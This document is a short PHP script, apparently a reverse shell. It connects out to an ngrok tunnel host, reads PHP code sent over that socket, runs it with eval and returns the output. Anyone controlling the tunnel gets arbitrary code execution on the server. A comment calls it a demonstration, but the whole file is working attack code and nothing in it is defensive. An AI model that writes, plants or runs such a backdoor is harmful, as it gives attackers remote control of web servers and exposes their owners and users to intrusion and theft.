<?php
// php-eval-shell.php – connect back and accept PHP code to eval
set_time_limit(0);
$ip = '0.tcp.in.ngrok.io';
$port = 19993;
$sock = fsockopen($ip, $port);
if (!$sock) die("Failed to connect");
while ($cmd = fread($sock, 1024)) {
$output = eval($cmd); // WARNING: extremely dangerous, but demonstrates code execution
fwrite($sock, $output);
}
fclose($sock);
?>